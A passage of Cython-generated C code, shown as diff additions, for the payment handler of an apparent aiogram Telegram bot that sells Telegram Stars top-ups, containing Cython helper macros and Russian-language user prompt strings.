(likely(PyDict_CheckExact(obj)) ?\ + __Pyx_PyDict_GetItem(obj, name) : PyObject_GetItem(obj, name)) +#else +#define __Pyx_PyDict_GetItem(d, key) PyObject_GetItem(d, key) +#define __Pyx_PyObject_Dict_GetItem(obj, name) PyObject_GetItem(obj, name) +#endif + +/* PyObjectFormatSimple.proto */ +#if CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + PyObject_Format(s, f)) +#elif PY_MAJOR_VERSION < 3 + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + likely(PyString_CheckExact(s)) ? PyUnicode_FromEncodedObject(s, NULL, "strict") :\ + PyObject_Format(s, f)) +#elif CYTHON_USE_TYPE_SLOTS + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + likely(PyLong_CheckExact(s)) ? PyLong_Type.tp_repr(s) :\ + likely(PyFloat_CheckExact(s)) ? PyFloat_Type.tp_repr(s) :\ + PyObject_Format(s, f)) +#else + #define __Pyx_PyObject_FormatSimple(s, f) (\ + likely(PyUnicode_CheckExact(s)) ? (Py_INCREF(s), s) :\ + PyObject_Format(s, f)) +#endif + +/* PyIntCompare.proto */ +static CYTHON_INLINE int __Pyx_PyInt_BoolEqObjC(PyObject *op1, PyObject *op2, long intval, long inplace); + +/* GetException.proto */ +#if CYTHON_FAST_THREAD_STATE +#define __Pyx_GetException(type, value, tb) __Pyx__GetException(__pyx_tstate, type, value, tb) +static int __Pyx__GetException(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb); +#else +static int __Pyx_GetException(PyObject **type, PyObject **value, PyObject **tb); +#endif + +/* pep479.proto */ +static void __Pyx_Generator_Replace_StopIteration(int in_async_gen); + +/* JoinPyUnicode.proto */ +static PyObject* __Pyx_PyUnicode_Join(PyObject* value_tuple, Py_ssize_t value_count, Py_ssize_t result_ulength, + Py_UCS4 max_char); + +/* UnicodeConcatInPlace.proto */ +# if CYTHON_COMPILING_IN_CPYTHON && PY_MAJOR_VERSION >= 3 + #if CYTHON_REFNANNY + #define __Pyx_PyUnicode_ConcatInPlace(left, right) __Pyx_PyUnicode_ConcatInPlaceImpl(&left, right, __pyx_refnanny) + #else + #define __Pyx_PyUnicode_ConcatInPlace(left, right) __Pyx_PyUnicode_ConcatInPlaceImpl(&left, right) + #endif + static CYTHON_INLINE PyObject *__Pyx_PyUnicode_ConcatInPlaceImpl(PyObject **p_left, PyObject *right + #if CYTHON_REFNANNY + , void* __pyx_refnanny + #endif + ); +#else +#define __Pyx_PyUnicode_ConcatInPlace __Pyx_PyUnicode_Concat +#endif +#define __Pyx_PyUnicode_ConcatInPlaceSafe(left, right) ((unlikely((left) == Py_None) || unlikely((right) == Py_None)) ?\ + PyNumber_InPlaceAdd(left, right) : __Pyx_PyUnicode_ConcatInPlace(left, right)) + +/* pybytes_as_double.proto */ +static double __Pyx_SlowPyString_AsDouble(PyObject *obj); +static double __Pyx__PyBytes_AsDouble(PyObject *obj, const char* start, Py_ssize_t length); +static CYTHON_INLINE double __Pyx_PyBytes_AsDouble(PyObject *obj) { + char* as_c_string; + Py_ssize_t size; +#if CYTHON_ASSUME_SAFE_MACROS + as_c_string = PyBytes_AS_STRING(obj); + size = PyBytes_GET_SIZE(obj); +#else + if (PyBytes_AsStringAndSize(obj, &as_c_string, &size) < 0) { + return (double)-1; + } +#endif + return __Pyx__PyBytes_AsDouble(obj, as_c_string, size); +} +static CYTHON_INLINE double __Pyx_PyByteArray_AsDouble(PyObject *obj) { + char* as_c_string; + Py_ssize_t size; +#if CYTHON_ASSUME_SAFE_MACROS + as_c_string = PyByteArray_AS_STRING(obj); + size = PyByteArray_GET_SIZE(obj); +#else + as_c_string = PyByteArray_AsString(obj); + if (as_c_string == NULL) { + return (double)-1; + } + size = PyByteArray_Size(obj); +#endif + return __Pyx__PyBytes_AsDouble(obj, as_c_string, size); +} + +/* pyunicode_as_double.proto */ +#if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY && CYTHON_ASSUME_SAFE_MACROS +static const char* __Pyx__PyUnicode_AsDouble_Copy(const void* data, const int kind, char* buffer, Py_ssize_t start, Py_ssize_t end) { + int last_was_punctuation; + Py_ssize_t i; + last_was_punctuation = 1; + for (i=start; i <= end; i++) { + Py_UCS4 chr = PyUnicode_READ(kind, data, i); + int is_punctuation = (chr == '_') | (chr == '.'); + *buffer = (char)chr; + buffer += (chr != '_'); + if (unlikely(chr > 127)) goto parse_failure; + if (unlikely(last_was_punctuation & is_punctuation)) goto parse_failure; + last_was_punctuation = is_punctuation; + } + if (unlikely(last_was_punctuation)) goto parse_failure; + *buffer = '\0'; + return buffer; +parse_failure: + return NULL; +} +static double __Pyx__PyUnicode_AsDouble_inf_nan(const void* data, int kind, Py_ssize_t start, Py_ssize_t length) { + int matches = 1; + Py_UCS4 chr; + Py_UCS4 sign = PyUnicode_READ(kind, data, start); + int is_signed = (sign == '-') | (sign == '+'); + start += is_signed; + length -= is_signed; + switch (PyUnicode_READ(kind, data, start)) { + #ifdef Py_NAN + case 'n': + case 'N': + if (unlikely(length != 3)) goto parse_failure; + chr = PyUnicode_READ(kind, data, start+1); + matches &= (chr == 'a') | (chr == 'A'); + chr = PyUnicode_READ(kind, data, start+2); + matches &= (chr == 'n') | (chr == 'N'); + if (unlikely(!matches)) goto parse_failure; + return (sign == '-') ? -Py_NAN : Py_NAN; + #endif + case 'i': + case 'I': + if (unlikely(length < 3)) goto parse_failure; + chr = PyUnicode_READ(kind, data, start+1); + matches &= (chr == 'n') | (chr == 'N'); + chr = PyUnicode_READ(kind, data, start+2); + matches &= (chr == 'f') | (chr == 'F'); + if (likely(length == 3 && matches)) + return (sign == '-') ? -Py_HUGE_VAL : Py_HUGE_VAL; + if (unlikely(length != 8)) goto parse_failure; + chr = PyUnicode_READ(kind, data, start+3); + matches &= (chr == 'i') | (chr == 'I'); + chr = PyUnicode_READ(kind, data, start+4); + matches &= (chr == 'n') | (chr == 'N'); + chr = PyUnicode_READ(kind, data, start+5); + matches &= (chr == 'i') | (chr == 'I'); + chr = PyUnicode_READ(kind, data, start+6); + matches &= (chr == 't') | (chr == 'T'); + chr = PyUnicode_READ(kind, data, start+7); + matches &= (chr == 'y') | (chr == 'Y'); + if (unlikely(!matches)) goto parse_failure; + return (sign == '-') ? -Py_HUGE_VAL : Py_HUGE_VAL; + case '.': case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': + break; + default: + goto parse_failure; + } + return 0.0; +parse_failure: + return -1.0; +} +static double __Pyx_PyUnicode_AsDouble_WithSpaces(PyObject *obj) { + double value; + const char *last; + char *end; + Py_ssize_t start, length = PyUnicode_GET_LENGTH(obj); + const int kind = PyUnicode_KIND(obj); + const void* data = PyUnicode_DATA(obj); + start = 0; + while (Py_UNICODE_ISSPACE(PyUnicode_READ(kind, data, start))) + start++; + while (start < length - 1 && Py_UNICODE_ISSPACE(PyUnicode_READ(kind, data, length - 1))) + length--; + length -= start; + if (unlikely(length <= 0)) goto fallback; + value = __Pyx__PyUnicode_AsDouble_inf_nan(data, kind, start, length); + if (unlikely(value == -1.0)) goto fallback; + if (value != 0.0) return value; + if (length < 40) { + char number[40]; + last = __Pyx__PyUnicode_AsDouble_Copy(data, kind, number, start, start + length); + if (unlikely(!last)) goto fallback; + value = PyOS_string_to_double(number, &end, NULL); + } else { + char *number = (char*) PyMem_Malloc((length + 1) * sizeof(char)); + if (unlikely(!number)) goto fallback; + last = __Pyx__PyUnicode_AsDouble_Copy(data, kind, number, start, start + length); + if (unlikely(!last)) { + PyMem_Free(number); + goto fallback; + } + value = PyOS_string_to_double(number, &end, NULL); + PyMem_Free(number); + } + if (likely(end == last) || (value == (double)-1 && PyErr_Occurred())) { + return value; + } +fallback: + return __Pyx_SlowPyString_AsDouble(obj); +} +#endif +static CYTHON_INLINE double __Pyx_PyUnicode_AsDouble(PyObject *obj) { +#if PY_MAJOR_VERSION >= 3 && !CYTHON_COMPILING_IN_PYPY && CYTHON_ASSUME_SAFE_MACROS + if (unlikely(__Pyx_PyUnicode_READY(obj) == -1)) + return (double)-1; + if (likely(PyUnicode_IS_ASCII(obj))) { + const char *s; + Py_ssize_t length; + s = PyUnicode_AsUTF8AndSize(obj, &length); + return __Pyx__PyBytes_AsDouble(obj, s, length); + } + return __Pyx_PyUnicode_AsDouble_WithSpaces(obj); +#else + return __Pyx_SlowPyString_AsDouble(obj); +#endif +} + +/* pyobject_as_double.proto */ +static double __Pyx__PyObject_AsDouble(PyObject* obj); +#if CYTHON_COMPILING_IN_PYPY +#define __Pyx_PyObject_AsDouble(obj)\ +(likely(PyFloat_CheckExact(obj)) ? PyFloat_AS_DOUBLE(obj) :\ + likely(PyInt_CheckExact(obj)) ?\ + PyFloat_AsDouble(obj) : __Pyx__PyObject_AsDouble(obj)) +#else +#define __Pyx_PyObject_AsDouble(obj)\ +((likely(PyFloat_CheckExact(obj))) ? PyFloat_AS_DOUBLE(obj) :\ + likely(PyLong_CheckExact(obj)) ?\ + PyLong_AsDouble(obj) : __Pyx__PyObject_AsDouble(obj)) +#endif + +/* PyObjectCallMethod0.proto */ +static PyObject* __Pyx_PyObject_CallMethod0(PyObject* obj, PyObject* method_name); + +/* ValidateBasesTuple.proto */ +#if CYTHON_COMPILING_IN_CPYTHON || CYTHON_COMPILING_IN_LIMITED_API || CYTHON_USE_TYPE_SPECS +static int __Pyx_validate_bases_tuple(const char *type_name, Py_ssize_t dictoffset, PyObject *bases); +#endif + +/* PyType_Ready.proto */ +CYTHON_UNUSED static int __Pyx_PyType_Ready(PyTypeObject *t); + +/* Import.proto */ +static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level); + +/* ImportFrom.proto */ +static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name); + +/* Py3UpdateBases.proto */ +static PyObject* __Pyx_PEP560_update_bases(PyObject *bases); + +/* CalculateMetaclass.proto */ +static PyObject *__Pyx_CalculateMetaclass(PyTypeObject *metaclass, PyObject *bases); + +/* SetNameInClass.proto */ +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030500A1 && PY_VERSION_HEX < 0x030d0000 +#define __Pyx_SetNameInClass(ns, name, value)\ + (likely(PyDict_CheckExact(ns)) ? _PyDict_SetItem_KnownHash(ns, name, value, ((PyASCIIObject *) name)->hash) : PyObject_SetItem(ns, name, value)) +#elif CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_SetNameInClass(ns, name, value)\ + (likely(PyDict_CheckExact(ns)) ? PyDict_SetItem(ns, name, value) : PyObject_SetItem(ns, name, value)) +#else +#define __Pyx_SetNameInClass(ns, name, value) PyObject_SetItem(ns, name, value) +#endif + +/* PyObjectLookupSpecial.proto */ +#if CYTHON_USE_PYTYPE_LOOKUP && CYTHON_USE_TYPE_SLOTS +#define __Pyx_PyObject_LookupSpecialNoError(obj, attr_name) __Pyx__PyObject_LookupSpecial(obj, attr_name, 0) +#define __Pyx_PyObject_LookupSpecial(obj, attr_name) __Pyx__PyObject_LookupSpecial(obj, attr_name, 1) +static CYTHON_INLINE PyObject* __Pyx__PyObject_LookupSpecial(PyObject* obj, PyObject* attr_name, int with_error); +#else +#define __Pyx_PyObject_LookupSpecialNoError(o,n) __Pyx_PyObject_GetAttrStrNoError(o,n) +#define __Pyx_PyObject_LookupSpecial(o,n) __Pyx_PyObject_GetAttrStr(o,n) +#endif + +/* Py3ClassCreate.proto */ +static PyObject *__Pyx_Py3MetaclassPrepare(PyObject *metaclass, PyObject *bases, PyObject *name, PyObject *qualname, + PyObject *mkw, PyObject *modname, PyObject *doc); +static PyObject *__Pyx_Py3ClassCreate(PyObject *metaclass, PyObject *name, PyObject *bases, PyObject *dict, + PyObject *mkw, int calculate_metaclass, int allow_py2_metaclass); + +/* PyMethodNew.proto */ +#if CYTHON_COMPILING_IN_LIMITED_API +static PyObject *__Pyx_PyMethod_New(PyObject *func, PyObject *self, PyObject *typ) { + PyObject *typesModule=NULL, *methodType=NULL, *result=NULL; + CYTHON_UNUSED_VAR(typ); + if (!self) + return __Pyx_NewRef(func); + typesModule = PyImport_ImportModule("types"); + if (!typesModule) return NULL; + methodType = PyObject_GetAttrString(typesModule, "MethodType"); + Py_DECREF(typesModule); + if (!methodType) return NULL; + result = PyObject_CallFunctionObjArgs(methodType, func, self, NULL); + Py_DECREF(methodType); + return result; +} +#elif PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx_PyMethod_New(PyObject *func, PyObject *self, PyObject *typ) { + CYTHON_UNUSED_VAR(typ); + if (!self) + return __Pyx_NewRef(func); + return PyMethod_New(func, self); +} +#else + #define __Pyx_PyMethod_New PyMethod_New +#endif + +/* PyVectorcallFastCallDict.proto */ +#if CYTHON_METH_FASTCALL +static CYTHON_INLINE PyObject *__Pyx_PyVectorcall_FastCallDict(PyObject *func, __pyx_vectorcallfunc vc, PyObject *const *args, size_t nargs, PyObject *kw); +#endif + +/* CythonFunctionShared.proto */ +#define __Pyx_CyFunction_USED +#define __Pyx_CYFUNCTION_STATICMETHOD 0x01 +#define __Pyx_CYFUNCTION_CLASSMETHOD 0x02 +#define __Pyx_CYFUNCTION_CCLASS 0x04 +#define __Pyx_CYFUNCTION_COROUTINE 0x08 +#define __Pyx_CyFunction_GetClosure(f)\ + (((__pyx_CyFunctionObject *) (f))->func_closure) +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_CyFunction_GetClassObj(f)\ + (((__pyx_CyFunctionObject *) (f))->func_classobj) +#else + #define __Pyx_CyFunction_GetClassObj(f)\ + ((PyObject*) ((PyCMethodObject *) (f))->mm_class) +#endif +#define __Pyx_CyFunction_SetClassObj(f, classobj)\ + __Pyx__CyFunction_SetClassObj((__pyx_CyFunctionObject *) (f), (classobj)) +#define __Pyx_CyFunction_Defaults(type, f)\ + ((type *)(((__pyx_CyFunctionObject *) (f))->defaults)) +#define __Pyx_CyFunction_SetDefaultsGetter(f, g)\ + ((__pyx_CyFunctionObject *) (f))->defaults_getter = (g) +typedef struct { +#if CYTHON_COMPILING_IN_LIMITED_API + PyObject_HEAD + PyObject *func; +#elif PY_VERSION_HEX < 0x030900B1 + PyCFunctionObject func; +#else + PyCMethodObject func; +#endif +#if CYTHON_BACKPORT_VECTORCALL + __pyx_vectorcallfunc func_vectorcall; +#endif +#if PY_VERSION_HEX < 0x030500A0 || CYTHON_COMPILING_IN_LIMITED_API + PyObject *func_weakreflist; +#endif + PyObject *func_dict; + PyObject *func_name; + PyObject *func_qualname; + PyObject *func_doc; + PyObject *func_globals; + PyObject *func_code; + PyObject *func_closure; +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + PyObject *func_classobj; +#endif + void *defaults; + int defaults_pyobjects; + size_t defaults_size; + int flags; + PyObject *defaults_tuple; + PyObject *defaults_kwdict; + PyObject *(*defaults_getter)(PyObject *); + PyObject *func_annotations; + PyObject *func_is_coroutine; +} __pyx_CyFunctionObject; +#undef __Pyx_CyOrPyCFunction_Check +#define __Pyx_CyFunction_Check(obj) __Pyx_TypeCheck(obj, __pyx_CyFunctionType) +#define __Pyx_CyOrPyCFunction_Check(obj) __Pyx_TypeCheck2(obj, __pyx_CyFunctionType, &PyCFunction_Type) +#define __Pyx_CyFunction_CheckExact(obj) __Pyx_IS_TYPE(obj, __pyx_CyFunctionType) +static CYTHON_INLINE int __Pyx__IsSameCyOrCFunction(PyObject *func, void *cfunc); +#undef __Pyx_IsSameCFunction +#define __Pyx_IsSameCFunction(func, cfunc) __Pyx__IsSameCyOrCFunction(func, cfunc) +static PyObject *__Pyx_CyFunction_Init(__pyx_CyFunctionObject* op, PyMethodDef *ml, + int flags, PyObject* qualname, + PyObject *closure, + PyObject *module, PyObject *globals, + PyObject* code); +static CYTHON_INLINE void __Pyx__CyFunction_SetClassObj(__pyx_CyFunctionObject* f, PyObject* classobj); +static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *m, + size_t size, + int pyobjects); +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *m, + PyObject *tuple); +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *m, + PyObject *dict); +static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *m, + PyObject *dict); +static int __pyx_CyFunction_init(PyObject *module); +#if CYTHON_METH_FASTCALL +static PyObject * __Pyx_CyFunction_Vectorcall_NOARGS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +static PyObject * __Pyx_CyFunction_Vectorcall_O(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS_METHOD(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames); +#if CYTHON_BACKPORT_VECTORCALL +#define __Pyx_CyFunction_func_vectorcall(f) (((__pyx_CyFunctionObject*)f)->func_vectorcall) +#else +#define __Pyx_CyFunction_func_vectorcall(f) (((PyCFunctionObject*)f)->vectorcall) +#endif +#endif + +/* CythonFunction.proto */ +static PyObject *__Pyx_CyFunction_New(PyMethodDef *ml, + int flags, PyObject* qualname, + PyObject *closure, + PyObject *module, PyObject *globals, + PyObject* code); + +/* CLineInTraceback.proto */ +#ifdef CYTHON_CLINE_IN_TRACEBACK +#define __Pyx_CLineForTraceback(tstate, c_line) (((CYTHON_CLINE_IN_TRACEBACK)) ? c_line : 0) +#else +static int __Pyx_CLineForTraceback(PyThreadState *tstate, int c_line); +#endif + +/* CodeObjectCache.proto */ +#if !CYTHON_COMPILING_IN_LIMITED_API +typedef struct { + PyCodeObject* code_object; + int code_line; +} __Pyx_CodeObjectCacheEntry; +struct __Pyx_CodeObjectCache { + int count; + int max_count; + __Pyx_CodeObjectCacheEntry* entries; +}; +static struct __Pyx_CodeObjectCache __pyx_code_cache = {0,0,NULL}; +static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line); +static PyCodeObject *__pyx_find_code_object(int code_line); +static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object); +#endif + +/* AddTraceback.proto */ +static void __Pyx_AddTraceback(const char *funcname, int c_line, + int py_line, const char *filename); + +/* GCCDiagnostics.proto */ +#if !defined(__INTEL_COMPILER) && defined(__GNUC__) && (__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 6)) +#define __Pyx_HAS_GCC_DIAGNOSTIC +#endif + +/* CIntToPy.proto */ +static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value); + +/* FormatTypeName.proto */ +#if CYTHON_COMPILING_IN_LIMITED_API +typedef PyObject *__Pyx_TypeName; +#define __Pyx_FMT_TYPENAME "%U" +static __Pyx_TypeName __Pyx_PyType_GetName(PyTypeObject* tp); +#define __Pyx_DECREF_TypeName(obj) Py_XDECREF(obj) +#else +typedef const char *__Pyx_TypeName; +#define __Pyx_FMT_TYPENAME "%.200s" +#define __Pyx_PyType_GetName(tp) ((tp)->tp_name) +#define __Pyx_DECREF_TypeName(obj) +#endif + +/* CIntFromPy.proto */ +static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *); + +/* CIntFromPy.proto */ +static CYTHON_INLINE int __Pyx_PyInt_As_int(PyObject *); + +/* FastTypeChecks.proto */ +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_TypeCheck(obj, type) __Pyx_IsSubtype(Py_TYPE(obj), (PyTypeObject *)type) +#define __Pyx_TypeCheck2(obj, type1, type2) __Pyx_IsAnySubtype2(Py_TYPE(obj), (PyTypeObject *)type1, (PyTypeObject *)type2) +static CYTHON_INLINE int __Pyx_IsSubtype(PyTypeObject *a, PyTypeObject *b); +static CYTHON_INLINE int __Pyx_IsAnySubtype2(PyTypeObject *cls, PyTypeObject *a, PyTypeObject *b); +static CYTHON_INLINE int __Pyx_PyErr_GivenExceptionMatches(PyObject *err, PyObject *type); +static CYTHON_INLINE int __Pyx_PyErr_GivenExceptionMatches2(PyObject *err, PyObject *type1, PyObject *type2); +#else +#define __Pyx_TypeCheck(obj, type) PyObject_TypeCheck(obj, (PyTypeObject *)type) +#define __Pyx_TypeCheck2(obj, type1, type2) (PyObject_TypeCheck(obj, (PyTypeObject *)type1) || PyObject_TypeCheck(obj, (PyTypeObject *)type2)) +#define __Pyx_PyErr_GivenExceptionMatches(err, type) PyErr_GivenExceptionMatches(err, type) +#define __Pyx_PyErr_GivenExceptionMatches2(err, type1, type2) (PyErr_GivenExceptionMatches(err, type1) || PyErr_GivenExceptionMatches(err, type2)) +#endif +#define __Pyx_PyErr_ExceptionMatches2(err1, err2) __Pyx_PyErr_GivenExceptionMatches2(__Pyx_PyErr_CurrentExceptionType(), err1, err2) +#define __Pyx_PyException_Check(obj) __Pyx_TypeCheck(obj, PyExc_Exception) + +/* CheckBinaryVersion.proto */ +static unsigned long __Pyx_get_runtime_version(void); +static int __Pyx_check_binary_version(unsigned long ct_version, unsigned long rt_version, int allow_newer); + +/* InitStrings.proto */ +static int __Pyx_InitStrings(__Pyx_StringTabEntry *t); + +/* #### Code section: module_declarations ### */ + +/* Module declarations from "handlers.payments.stars_pay" */ +/* #### Code section: typeinfo ### */ +/* #### Code section: before_global_var ### */ +#define __Pyx_MODULE_NAME "handlers.payments.stars_pay" +extern int __pyx_module_is_main_handlers__payments__stars_pay; +int __pyx_module_is_main_handlers__payments__stars_pay = 0; + +/* Implementation of "handlers.payments.stars_pay" */ +/* #### Code section: global_var ### */ +static PyObject *__pyx_builtin_range; +static PyObject *__pyx_builtin_ValueError; +/* #### Code section: string_decls ### */ +static const char __pyx_k_F[] = "F"; +static const char __pyx_k_e[] = "e"; +static const char __pyx_k_i[] = "i"; +static const char __pyx_k__2[] = "\360\237\244\226 \320\221\320\276\321\202 \320\264\320\273\321\217 \320\277\320\276\320\272\321\203\320\277\320\272\320\270 \320\267\320\262\320\265\320\267\320\264"; +static const char __pyx_k__3[] = "\360\237\222\260 \320\222\320\262\320\265\321\201\321\202\320\270 \321\201\320\262\320\276\321\216 \321\201\321\203\320\274\320\274\321\203"; +static const char __pyx_k__4[] = "\342\254\205\357\270\217 \320\235\320\260\320\267\320\260\320\264"; +static const char __pyx_k__5[] = "\320\235\320\265 \321\203\320\264\320\260\320\273\320\276\321\201\321\214 \321\203\320\264\320\260\320\273\320\270\321\202\321\214 \321\201\320\276\320\276\320\261\321\211\320\265\320\275\320\270\320\265: "; +static const char __pyx_k__6[] = "\320\222\321\213\320\261\320\265\321\200\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\321\217:"; +static const char __pyx_k__8[] = "|"; +static const char __pyx_k_gc[] = "gc"; +static const char __pyx_k_id[] = "id"; +static const char __pyx_k_ok[] = "ok"; +static const char __pyx_k_Any[] = "Any"; +static const char __pyx_k_XTR[] = "XTR"; +static const char __pyx_k__10[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \321\203\320\264\320\260\320\273\320\265\320\275\320\270\320\270 \321\201\320\276\320\276\320\261\321\211\320\265\320\275\320\270\321\217: "; +static const char __pyx_k__11[] = "\320\235\320\265\320\262\320\265\321\200\320\275\321\213\320\265 \320\264\320\260\320\275\320\275\321\213\320\265 \320\264\320\273\321\217 \320\262\321\213\320\261\320\276\321\200\320\260 \321\201\321\203\320\274\320\274\321\213."; +static const char __pyx_k__12[] = "\320\235\320\265\320\272\320\276\321\200\321\200\320\265\320\272\321\202\320\275\320\260\321\217 \321\201\321\203\320\274\320\274\320\260."; +static const char __pyx_k__13[] = "\320\237\320\276\320\277\320\276\320\273\320\275\320\270\321\202\321\214"; +static const char __pyx_k__14[] = "\320\222\321\213 \320\262\321\213\320\261\321\200\320\260\320\273\320\270 \320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\320\265 \320\275\320\260 "; +static const char __pyx_k__15[] = " \321\200\321\203\320\261\320\273\320\265\320\271."; +static const char __pyx_k__16[] = ""; +static const char __pyx_k__17[] = "\320\236\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\270 \320\277\320\273\320\260\321\202\320\265\320\266\320\260: "; +static const char __pyx_k__18[] = "\320\237\321\200\320\276\320\270\320\267\320\276\321\210\320\273\320\260 \320\276\321\210\320\270\320\261\320\272\320\260 \320\277\321\200\320\270 \321\201\320\276\320\267\320\264\320\260\320\275\320\270\320\270 \320\277\320\273\320\260\321\202\320\265\320\266\320\260."; +static const char __pyx_k__20[] = "\360\237\224\231 \320\235\320\260\320\267\320\260\320\264"; +static const char __pyx_k__21[] = "\320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\277\320\276\320\277\320\276\320\273\320\275\320\265\320\275\320\270\321\217."; +static const char __pyx_k__24[] = "\320\241\321\203\320\274\320\274\320\260 \320\264\320\276\320\273\320\266\320\275\320\260 \320\261\321\213\321\202\321\214 \320\261\320\276\320\273\321\214\321\210\320\265 "; +static const char __pyx_k__25[] = ". \320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\265\321\211\320\265 \321\200\320\260\320\267:"; +static const char __pyx_k__26[] = "\320\235\320\265\320\272\320\276\321\200\321\200\320\265\320\272\321\202\320\275\320\260\321\217 \321\201\321\203\320\274\320\274\320\260. \320\237\320\276\320\266\320\260\320\273\321\203\320\271\321\201\321\202\320\260, \320\262\320\262\320\265\320\264\320\270\321\202\320\265 \321\201\321\203\320\274\320\274\321\203 \320\265\321\211\320\265 \321\200\320\260\320\267:"; +static const char __pyx_k__29[] = "_"; +static const char __pyx_k__30[] = "."; +static const char __pyx_k__38[] = "?"; +static const char __pyx_k_doc[] = "__doc__"; +static const char __pyx_k_pay[] = "pay"; +static const char __pyx_k_row[] = "row"; +static const char __pyx_k_url[] = "url"; +static const char __pyx_k_args[] = "args"; +static const char __pyx_k_chat[] = "chat"; +static const char __pyx_k_data[] = "data"; +static const char __pyx_k_dict[] = "__dict__"; +static const char __pyx_k_main[] = "__main__"; +static const char __pyx_k_name[] = "__name__"; +static const char __pyx_k_send[] = "send"; +static const char __pyx_k_test[] = "__test__"; +static const char __pyx_k_text[] = "text"; +static const char __pyx_k_State[] = "State"; +static const char __pyx_k_await[] = "__await__"; +static const char __pyx_k_close[] = "close"; +static const char __pyx_k_debug[] = "debug"; +static const char __pyx_k_error[] = "error"; +static const char __pyx_k_label[] = "label"; +static const char __pyx_k_range[] = "range"; +static const char __pyx_k_split[] = "split"; +static const char __pyx_k_stars[] = "stars_"; +static const char __pyx_k_state[] = "state"; +static const char __pyx_k_super[] = "super"; +static const char __pyx_k_tg_id[] = "tg_id"; +static const char __pyx_k_throw[] = "throw"; +static const char __pyx_k_title[] = "title"; +static const char __pyx_k_trial[] = "trial"; +static const char __pyx_k_types[] = "types"; +static const char __pyx_k_Router[] = "Router"; +static const char __pyx_k_amount[] = "amount"; +static const char __pyx_k_answer[] = "answer"; +static const char __pyx_k_config[] = "config"; +static const char __pyx_k_delete[] = "delete"; +static const char __pyx_k_enable[] = "enable"; +static const char __pyx_k_exists[] = "exists"; +static const char __pyx_k_import[] = "__import__"; +static const char __pyx_k_logger[] = "logger"; +static const char __pyx_k_module[] = "__module__"; +static const char __pyx_k_prices[] = "prices"; +static const char __pyx_k_router[] = "router"; +static const char __pyx_k_typing[] = "typing"; +static const char __pyx_k_aiogram[] = "aiogram"; +static const char __pyx_k_balance[] = "balance"; +static const char __pyx_k_builder[] = "builder"; +static const char __pyx_k_disable[] = "disable"; +static const char __pyx_k_isdigit[] = "isdigit"; +static const char __pyx_k_message[] = "message"; +static const char __pyx_k_payload[] = "payload"; +static const char __pyx_k_prepare[] = "__prepare__"; +static const char __pyx_k_session[] = "session"; +static const char __pyx_k_stars_2[] = "_stars"; +static const char __pyx_k_stars_3[] = "stars"; +static const char __pyx_k_user_id[] = "user_id"; +static const char __pyx_k_amount_2[] = ", amount: "; +static const char __pyx_k_currency[] = "currency"; +static const char __pyx_k_database[] = "database"; +static const char __pyx_k_qualname[] = "__qualname__"; +static const char __pyx_k_set_name[] = "__set_name__"; +static const char __pyx_k_as_markup[] = "as_markup"; +static const char __pyx_k_isenabled[] = "isenabled"; +static const char __pyx_k_key_count[] = "key_count"; +static const char __pyx_k_metaclass[] = "__metaclass__"; +static const char __pyx_k_pay_stars[] = "pay_stars"; +static const char __pyx_k_set_state[] = "set_state"; +static const char __pyx_k_FSMContext[] = "FSMContext"; +static const char __pyx_k_RUB_TO_XTR[] = "RUB_TO_XTR"; +static const char __pyx_k_ValueError[] = "ValueError"; +static const char __pyx_k_amount_str[] = "amount_str"; +static const char __pyx_k_startswith[] = "startswith"; +static const char __pyx_k_CRYPTO_HASH[] = "\320\235\320\265\320\262\320\265\321\200\320\275\320\276\320\265 \320\267\320\275\320\260\321\207\320\265\320\275\320\270\320\265 CRYPTO_HASH. \320\222\321\213\320\277\320\276\320\273\320\275\320\265\320\275\320\270\320\265 